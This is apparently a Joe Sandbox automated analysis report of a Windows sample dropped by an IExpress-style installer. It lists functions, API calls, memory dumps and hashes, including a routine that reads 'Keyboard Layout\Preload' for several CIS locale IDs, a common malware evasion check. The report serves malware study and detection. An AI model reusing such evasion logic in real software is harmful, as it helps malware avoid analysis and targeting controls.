LoadLibraryA.KERNEL32(advpack.dll,?,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,?,00000000), ref: 00366502

Strings

advpack.dll, xrefs: 003664C2, 003664CD, 00366501
C:\Users\user\AppData\Local\Temp\IXP002.TMP\, xrefs: 003664AC

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: LibraryLoad$AttributesFile
String ID: C:\Users\user\AppData\Local\Temp\IXP002.TMP\$advpack.dll
API String ID: 438848745-1900302821
Opcode ID: 6564219156c573af2f2958b0c5f3cd41aa95381d0b564131eb16be4382c74e8f
Instruction ID: 12c4c734c9890889e3f61e4a3511faa2ac77c3694056eac19763d1db4635f68c
Opcode Fuzzy Hash: 6564219156c573af2f2958b0c5f3cd41aa95381d0b564131eb16be4382c74e8f
Instruction Fuzzy Hash: C2014930900108ABD711DB60DC4BFEE733CDB52310F508195F686A30C8CFB09E85CA41

Function 00367155 Relevance: 7.6, APIs: 5, Instructions: 51timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 00367182
GetCurrentProcessId.KERNEL32 ref: 00367191
GetCurrentThreadId.KERNEL32 ref: 0036719A
GetTickCount.KERNEL32 ref: 003671A3
QueryPerformanceCounter.KERNEL32(?), ref: 003671B8

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 57e671847b9e1d2c41a95df9d81a990a3c9a4ae36cc7cb61ef993ccccfe5694d
Instruction ID: 33ea37ea86f8b017ef347c682ca32c24b0c9ddd7411e5d8e7a88f18eb5aaadb0
Opcode Fuzzy Hash: 57e671847b9e1d2c41a95df9d81a990a3c9a4ae36cc7cb61ef993ccccfe5694d
Instruction Fuzzy Hash: 7C114C71D01608EFCB11DFB8DA48A9EB7F8EF19315FA18956D801E7214EA709A048F41

Function 003619E0 Relevance: 7.6, APIs: 5, Instructions: 51windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32(?,?), ref: 00361A18
GetDesktopWindow.USER32 ref: 00361A24
LoadStringA.USER32(?,?,00000200), ref: 00361A4F
SetDlgItemTextA.USER32(?,0000083F,00000000), ref: 00361A62
MessageBeep.USER32(000000FF), ref: 00361A6A

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: BeepDesktopDialogItemLoadMessageStringTextWindow
String ID:
API String ID: 1273765764-0
Opcode ID: 046dfbc2ad4784c4f02d273ce3f24615c408afb954fac93a89edd7db29fee5e9
Instruction ID: bece844fb314f90f01f47aef63987a21720d63469061d1aa9ba2d0c17933cadc
Opcode Fuzzy Hash: 046dfbc2ad4784c4f02d273ce3f24615c408afb954fac93a89edd7db29fee5e9
Instruction Fuzzy Hash: FB11A131501119AFDB12EFA4DD09AAE77BCFF4A300F14C155F912E6194DE70AE11CB95

Function 003663C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,C:\Users\user\AppData\Local\Temp\IXP002.TMP\), ref: 0036642D
WriteFile.KERNEL32(00000000,?,?,00000000,00000000,?,C:\Users\user\AppData\Local\Temp\IXP002.TMP\), ref: 0036645B
CloseHandle.KERNEL32(00000000,?,C:\Users\user\AppData\Local\Temp\IXP002.TMP\), ref: 0036647A

Strings

C:\Users\user\AppData\Local\Temp\IXP002.TMP\, xrefs: 003663EB

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID: C:\Users\user\AppData\Local\Temp\IXP002.TMP\
API String ID: 1065093856-1525623783
Opcode ID: 37ed3ae4263c124ade5ee6c92421b1cb29deb7406fa666d0ae0440d0d38ef0c3
Instruction ID: 5c516d34809addd22c807f34bb4763894df430577b8f91e50a903f76c4711fc3
Opcode Fuzzy Hash: 37ed3ae4263c124ade5ee6c92421b1cb29deb7406fa666d0ae0440d0d38ef0c3
Instruction Fuzzy Hash: B221C371A00218ABDB12DF25DC86FEA776CEB45354F108169E585A7180DAB05D848FA4

Function 003647E0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000008,?,00000000,00364E6F), ref: 003647EA
LocalAlloc.KERNEL32(00000040,?), ref: 00364823
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000), ref: 00364847

Part of subcall function 003644B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00364518
Part of subcall function 003644B9: MessageBoxA.USER32(?,?,valid,00010010), ref: 00364554

Strings

C:\Users\user\AppData\Local\Temp\IXP002.TMP\, xrefs: 00364851

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: Local$Alloc$FreeLoadMessageString
String ID: C:\Users\user\AppData\Local\Temp\IXP002.TMP\
API String ID: 359063898-1525623783
Opcode ID: 8c8695aefebedd29e2402e242748d706701a62792b41250f06dc683c8f899dda
Instruction ID: dff35a720afeeb733ee6b841028aa31feedcc737b127d7a6a489875873b04864
Opcode Fuzzy Hash: 8c8695aefebedd29e2402e242748d706701a62792b41250f06dc683c8f899dda
Instruction Fuzzy Hash: 5E1129B5A04741AFD7279F249C18F763B5EEBC6300F14C519FA42DB345DE768C068660

Function 00364980 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 62stringCOMMON

Download Yara Rule

APIs

lstrcmpA.KERNEL32(00008000,*MEMCAB,00000000,CABINET,?,00364F67,*MEMCAB,00008000,00000180), ref: 003649CA

Strings

*MEMCAB, xrefs: 003649C2
CABINET, xrefs: 00364985
*n3, xrefs: 003649EB

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: lstrcmp
String ID: *MEMCAB$*n3$CABINET
API String ID: 1534048567-2834084420
Opcode ID: 5dcce9f8d70342743edb6d4d82027e85ca3f486eb4997637d706bfba8bab288c
Instruction ID: 63ec9394faa511a72352807351932185423de8d726c34abf167eb0943146d56a
Opcode Fuzzy Hash: 5dcce9f8d70342743edb6d4d82027e85ca3f486eb4997637d706bfba8bab288c
Instruction Fuzzy Hash: 60110A31E401049FC3279F19DC5862A3AE8FB96764F25C35AE4289F2E5CB718C43C794

Function 00363680 Relevance: 6.1, APIs: 4, Instructions: 51windowCOMMON

Download Yara Rule

APIs

MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 0036369F
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 003636B2
DispatchMessageA.USER32(?), ref: 003636CB
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 003636DA

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: Message$Peek$DispatchMultipleObjectsWait
String ID:
API String ID: 2776232527-0
Opcode ID: 2a864e6aeb2d05bbe4f00e273165b43492376bd9dff4402d1575e3ff920537b3
Instruction ID: b8c6e3657255a7ebfdf4b601cc92794b8ec29591b7120036023bd29b349391ff
Opcode Fuzzy Hash: 2a864e6aeb2d05bbe4f00e273165b43492376bd9dff4402d1575e3ff920537b3
Instruction Fuzzy Hash: AE01A77290021577DB314BA69C88EEB76BCEBC6B10F014119F905F2184D5A0C640CA60

Function 003665E8 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

CharPrevA.USER32(?,00000000,00000000,00000001,00000000,00362B33), ref: 00366602
CharPrevA.USER32(?,00000000), ref: 00366612
CharPrevA.USER32(?,00000000), ref: 00366629
CharNextA.USER32(00000000), ref: 00366635

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: Char$Prev$Next
String ID:
API String ID: 3260447230-0
Opcode ID: 86781e68209f595d91f89dc59f9d237debf3b78255db5e7dd13cde894c4f15f4
Instruction ID: f5d368673483d143ac15dbc45f2fba281d1e6629d9d95d323550741a95ec2264
Opcode Fuzzy Hash: 86781e68209f595d91f89dc59f9d237debf3b78255db5e7dd13cde894c4f15f4
Instruction Fuzzy Hash: 93F02D310045506ED7331B28EC888B7BF9CDF87394F1A816FE4D2A2005D6550D068A71

Function 003669B0 Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

Part of subcall function 00366FBE: GetModuleHandleW.KERNEL32(00000000,?,003669C1,00000002), ref: 00366FC5

__set_app_type.MSVCRT ref: 003669C2
__p__fmode.MSVCRT ref: 003669D8
__p__commode.MSVCRT ref: 003669E6
__setusermatherr.MSVCRT ref: 00366A07

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: HandleModule__p__commode__p__fmode__set_app_type__setusermatherr
String ID:
API String ID: 1632413811-0
Opcode ID: 30fa99435bb71053bd2ec676174a0e0f832529843c74f4b0f157069aa5d3215f
Instruction ID: 4f073b518b7369c3395fef6e4181128d4fb860b221b49cccbb7d05508b89267c
Opcode Fuzzy Hash: 30fa99435bb71053bd2ec676174a0e0f832529843c74f4b0f157069aa5d3215f
Instruction Fuzzy Hash: FDF0F8B01887018FC717AF30ED1E6043BA9FB09325F10CB19E4629A2E5CFBA85508E11

Function 00366952 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceA.KERNEL32(0000005A,?,?,`W6,?,00000000,00365760,?,A:\), ref: 0036697F
MulDiv.KERNEL32(?,?,00000400), ref: 00366999

Strings

`W6, xrefs: 00366972, 00366975

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: DiskFreeSpace
String ID: `W6
API String ID: 1705453755-2379631672
Opcode ID: 3b5100cf7ad5779e9f9466bf7e16a73049c86044d8ed06fe76945f611a025575
Instruction ID: 22733032fab9b6ca35ad23db8ef4d40d3af8186bf7530653eefc7ea8d6fd7c7c
Opcode Fuzzy Hash: 3b5100cf7ad5779e9f9466bf7e16a73049c86044d8ed06fe76945f611a025575
Instruction Fuzzy Hash: 2FF097B6D10228BBDB12DFE88D45ADEBBBCEB49700F158196E910E6240D6B19A058B91

Analysis Process: 1C05b9.exePID: 2748, Parent PID: 2820COMMON

Execution Graph

Execution Coverage:	3.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.1%
Total number of Nodes:	766
Total number of Limit Nodes:	16

Executed Functions

Function 0068652B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,0068652A,?,?,?,?,?,00687661), ref: 00686567

Memory Dump Source

Source File: 00000004.00000002.2231636947.0000000000651000.00000040.00000001.01000000.00000006.sdmp, Offset: 00650000, based on PE: true

Associated: 00000004.00000002.2231615299.0000000000650000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231636947.00000000006B2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231709902.00000000006B9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231740625.00000000006BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231760612.00000000006C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231857008.000000000081C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231872139.000000000081E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231894706.0000000000833000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231894706.0000000000841000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231925209.0000000000845000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231939740.0000000000847000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231953659.0000000000848000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231975225.000000000084B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231999124.0000000000871000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232018019.0000000000883000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232041365.0000000000896000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232058424.0000000000897000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232072988.0000000000898000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232088064.000000000089C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232111722.00000000008A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232126178.00000000008A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232147033.00000000008AE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232161985.00000000008B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232177489.00000000008B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232194053.00000000008BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232212622.00000000008BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232226124.00000000008BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232241058.00000000008BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232258324.00000000008C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232278409.00000000008C8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232299439.00000000008CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232315250.00000000008CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232332602.00000000008CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232348428.00000000008D0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232365155.00000000008D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232383342.00000000008EA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232397375.00000000008EC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232397375.0000000000915000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232437928.000000000092C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232452220.000000000092D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232466288.0000000000941000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232482246.0000000000942000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232500676.0000000000943000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232535974.0000000000949000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232554189.000000000094B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232573697.0000000000958000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232589732.000000000095A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_650000_1C05b9.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: a9f7ff4f8c405c86d0f65f0572b9075c25e2c26762e670314d9f79f36b9c3472
Instruction ID: 54e45995823b8e70a32d4e3cba89519b5b4e4e2b7b094118a87c1f239b426b31
Opcode Fuzzy Hash: a9f7ff4f8c405c86d0f65f0572b9075c25e2c26762e670314d9f79f36b9c3472
Instruction Fuzzy Hash: 6DE08C30040108AFCF267B59C809A983BAAEF01749F005904FD0896227CB35EE82C781

Function 04F20CD0 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2234883357.0000000004F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f20000_1C05b9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fd58364800d7f86b690c41e4fdc1da513e7c4567f84c6c5818da32020b84620
Instruction ID: eddf35e378a3e53628a279b64e543aef5edb0b57fabcfef08a2b3c0209bca23f
Opcode Fuzzy Hash: 1fd58364800d7f86b690c41e4fdc1da513e7c4567f84c6c5818da32020b84620
Instruction Fuzzy Hash: B0F042D778F230EDD08241456354671AA65B7933307708467F50BCB741FE957E0BB121

Function 00655C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

00000422, xrefs: 006560C9
Keyboard Layout\Preload, xrefs: 00656054
0000043f, xrefs: 0065612B
00000423, xrefs: 006560FA
00000419, xrefs: 00656098

Memory Dump Source

Source File: 00000004.00000002.2231636947.0000000000651000.00000040.00000001.01000000.00000006.sdmp, Offset: 00650000, based on PE: true

Associated: 00000004.00000002.2231615299.0000000000650000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231636947.00000000006B2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231709902.00000000006B9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231740625.00000000006BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231760612.00000000006C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231857008.000000000081C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231872139.000000000081E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231894706.0000000000833000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231894706.0000000000841000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231925209.0000000000845000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231939740.0000000000847000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231953659.0000000000848000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231975225.000000000084B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231999124.0000000000871000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232018019.0000000000883000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232041365.0000000000896000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232058424.0000000000897000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232072988.0000000000898000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232088064.000000000089C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232111722.00000000008A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232126178.00000000008A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232147033.00000000008AE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232161985.00000000008B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232177489.00000000008B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232194053.00000000008BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232212622.00000000008BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232226124.00000000008BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232241058.00000000008BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232258324.00000000008C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232278409.00000000008C8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232299439.00000000008CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232315250.00000000008CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232332602.00000000008CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232348428.00000000008D0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232365155.00000000008D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232383342.00000000008EA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232397375.00000000008EC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232397375.0000000000915000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232437928.000000000092C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232452220.000000000092D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232466288.0000000000941000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232482246.0000000000942000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232500676.0000000000943000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232535974.0000000000949000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232554189.000000000094B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232573697.0000000000958000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232589732.000000000095A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_650000_1C05b9.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: ccaf6da7bddcd9970abfc7e75b95068d74bb51a1a8f9edff0131d3e352116488
Instruction ID: 2577634964f618018eab9a44b8abb625cb8c0fa80cb3112bfb9d1afd369b0dde
Opcode Fuzzy Hash: ccaf6da7bddcd9970abfc7e75b95068d74bb51a1a8f9edff0131d3e352116488
Instruction Fuzzy Hash: A2F1E2B09002589FEB24DF54CC85BDEBBBAEF45304F504299F909A7281DB749A88CF95

Function 00659BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0065A963
CreateMutexA.KERNEL32(00000000,00000000,006B3254), ref: 0065A981

Strings

T2k, xrefs: 0065A970

Memory Dump Source

Source File: 00000004.00000002.2231636947.0000000000651000.00000040.00000001.01000000.00000006.sdmp, Offset: 00650000, based on PE: true

Associated: 00000004.00000002.2231615299.0000000000650000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231636947.00000000006B2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231709902.00000000006B9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231740625.00000000006BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231760612.00000000006C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231857008.000000000081C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231872139.000000000081E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231894706.0000000000833000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231894706.0000000000841000.00000040.00000001.01000000.00000006.sdmpDownload File
